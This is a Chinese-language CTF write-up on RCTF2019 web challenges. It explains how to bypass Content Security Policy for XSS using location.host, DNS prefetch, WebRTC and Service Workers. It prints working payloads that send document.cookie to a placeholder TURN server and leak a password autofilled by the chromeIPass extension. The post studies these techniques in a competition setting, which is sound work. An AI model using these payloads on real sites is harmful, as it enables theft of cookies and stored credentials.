前言

上周在看 wonderkun 师傅 GitHub 中收集的各种题目,周末打了 RCTF,不得不说真是一个优秀的比赛,每道题都能学习到新的知识。

在做 jail 题目和阅读官方 wp 的时候,发现了很多值得注意和学习的点,所以写一篇文章总结下来。

官方 wp 和题目源码:https://github.com/zsxsoft/my-ctf-challenges/tree/master/rctf2019/jail%20%26%20password

postman 好像有点好用,装一个装一个。


非预期解法

题目的预期思路是用各种方式绕过 CSP 进行 XSS,为了防止直接使用 location.href 跳转将 cookie 带出来,题目冻结了 document.location 对象:

Object.freeze(document.location)

但是我在测试的时候发现,locaiton.href 确实是被冻结了无法修改,但是我们可以利用 location.host 进行跳转,然后使用 ceye 接收数据。

那么为什么呢?照理说冻结了 document.location 这个对象之后,已有属性应该无法修改了才对呀。

我们看一下 MDN 的文档:https://developer.mozilla.org/zh-CN/docs/Web/JavaScript/Reference/Global_Objects/Object/freeze

好像没有说什么有意思的东西啊,我们继续搜索:https://blog.csdn.net/qq_21423689/article/details/81207618

看到 Object.freeze 的工作原理,Object.freeze 函数执行下面的操作:

  • 使对象不可扩展,这样便无法向其添加新属性。

  • 为对象的所有属性将 configurable 特性设置为 false。在 configurable 为 false 时,无法更改属性的特性且无法删除属性。

  • 为对象的所有数据属性将 writable 特性设置为 false。当 writable 为 false 时,无法更改数据属性值。

可以得知无法修改属性的原因是 writable 特性被设置为了 false,而因为 configurable 也被设置为了 false,所以我们无法将其解冻。然后我们通过 getOwnPropertyDescriptors 查看 location 对象下的属性的特性:

可以看到,在冻结了 document.location 之后,location.href 属性的 writable 已经变成了 false,就这是为什么我们无法通过修改它来进行跳转了。

我们再注意解题使用的 host,可以发现这个属性没有 writable 特性,它的取值和赋值使用的是 getter 和 setter,这就是为什么它不会被 Object.freeze 冻结了。

同样的,其他具有 writable 特性的属性也是会被冻结,无法修改的,比如里面的各个函数。


chrome绕过CSP

题目的 CSP 设置如下:

content-security-policy: sandbox allow-scripts allow-same-origin; base-uri 'none';default-src 'self';script-src 'unsafe-inline' 'self';connect-src 'none';object-src 'none';frame-src 'none';font-src data: 'self';style-src 'unsafe-inline' 'self';

详细的 CSP 配置可以看这里:https://cloud.tencent.com/developer/chapter/13541

dns-prefetch

https://wulidecade.cn/index.php/archives/32/

简单来说就是利用 js 动态创建 link 标签,然后利用 DNS 预解析查询外带数据,不多说了。

WebRTC

CSP 中用来限制连接的配置是 connect-src,受限制的 API 是:

而 WebRTC 不在其中,也不使用 fetch 所以不受影响,GitHub 上也有人提过 WebRTC 会绕过 CSP 的 connect-src 策略:https://github.com/w3c/webrtc-pc/issues/1727

官方 payload 如下:

var pc = new RTCPeerConnection({"iceServers":[{"urls":["turn:YOUR_IP:YOUR_PORT?transport=udp"],"username":document.cookie,"credential":"."}]});
pc.createOffer().then((sdp)=>pc.setLocalDescription(sdp));

我试了一下,好像不能使用 nc tcpdump 之类的获取数据,可能需要搭建一个 turn 服务器。

整一个:https://blog.csdn.net/lamb7758/article/details/77045735https://www.cnblogs.com/gnss523-webrtc/articles/4833753.htmlhttps://www.cnblogs.com/lidabo/p/6971103.html

有点麻烦,不整了,留个坑。

Service Worker

介绍:https://lzw.me/a/pwa-service-worker.html

我们可以通过注册 ServiceWorker 来执行我们的 JavaScript 代码,就 CSP 而言,它有几个好玩的地方:

  • 影响能否注册 ServiceWorker 的 CSP 策略是要注册 ServiceWorker 的页面的 worker-src 策略,如果将其设置为 ‘self’ 则可以进行注册。
  • 如果 worker-src 没有设置,则会遵从 script-src 的设置。
  • 在 ServiceWorker 中执行的 JavaScript 代码,只遵从给该 js 文件设置的 CSP 策略。

利用条件如下:

  • 网站使用 HTTPS
  • 可以运行 JavaScript 代码并注册 ServiceWorker
  • 可以上传文件,返回头为 application/javascript

我们就可以使用 fetch 将我们需要的数据带出来。


赛题复现

jali

利用上传头像上传一个 js 文件,里面写上 fetch 的 payload,然后注册 ServiceWorker:

password

还是利用同样的 js 文件,在 payload 中加上 登录 的表单:

<input type="username" name="username"><input type="password" name="password"> 

可以发现打回来的 HTML 变化了:

<div class="cip-genpw-icon cip-icon-key-small" style="z-index: 2; top: 10px; left: 341px;"></div><div class="cip-ui-dialog cip-ui-widget cip-ui-widget-content cip-ui-corner-all cip-ui-front cip-ui-draggable" tabindex="-1" role="dialog" aria-describedby="cip-genpw-dialog" aria-labelledby="cip-ui-id-1" style="display: none;"><div class="cip-ui-dialog-titlebar cip-ui-widget-header cip-ui-corner-all cip-ui-helper-clearfix"><span id="cip-ui-id-1" class="cip-ui-dialog-title">Password Generator</span><button class="cip-ui-button cip-ui-widget cip-ui-state-default cip-ui-corner-all cip-ui-button-icon-only cip-ui-dialog-titlebar-close" role="button" aria-disabled="false" title="×"><span class="cip-ui-button-icon-primary cip-ui-icon cip-ui-icon-closethick"></span><span class="cip-ui-button-text">×</span></button></div><div id="cip-genpw-dialog" class="cip-ui-dialog-content cip-ui-widget-content" style=""><div class="cip-genpw-clearfix"><button id="cip-genpw-btn-generate" class="b2c-btn b2c-btn-primary b2c-btn-small" style="float: left;">Generate</button><button id="cip-genpw-btn-clipboard" class="b2c-btn b2c-btn-small" style="float: right;">Copy to clipboard</button></div><div class="b2c-input-append cip-genpw-password-frame"><input id="cip-genpw-textfield-password" type="text" class="cip-genpw-textfield"><span class="b2c-add-on" id="cip-genpw-quality">123 Bits</span></div><label class="cip-genpw-label"><input id="cip-genpw-checkbox-next-field" type="checkbox" class="cip-genpw-checkbox"> also fill in the next password-field</label><button id="cip-genpw-btn-fillin" class="b2c-btn b2c-btn-small">Fill in &amp; copy to clipboard</button></div></div>

Google 可以得知这是 chrome 扩展 chromeIPass,用 click 点击之后获取 flag 即可。

<input type="username" name="username"><input type="password" name="password"> <script>setTimeout(() => {document.querySelector('[type=username]').click();document.getElementsByClassName('cip-ui-menu-item')[1].click();},500);setTimeout(() => {navigator.serviceWorker.register('/uploads/7ec3c398504371612bf2d5f48759fb0c.js?' + btoa(document.querySelector('[type=password]').value), {scope:'/uploads/'});}, 1000)</script>

Orz


CTF Web 前端 CSP

本博客所有文章除特别声明外,均采用 CC BY-SA 3.0协议 。转载请注明出处!

RCTF2019-Web-rblog/ez4cr引发的思考和学习
HCTF2016-fheap学习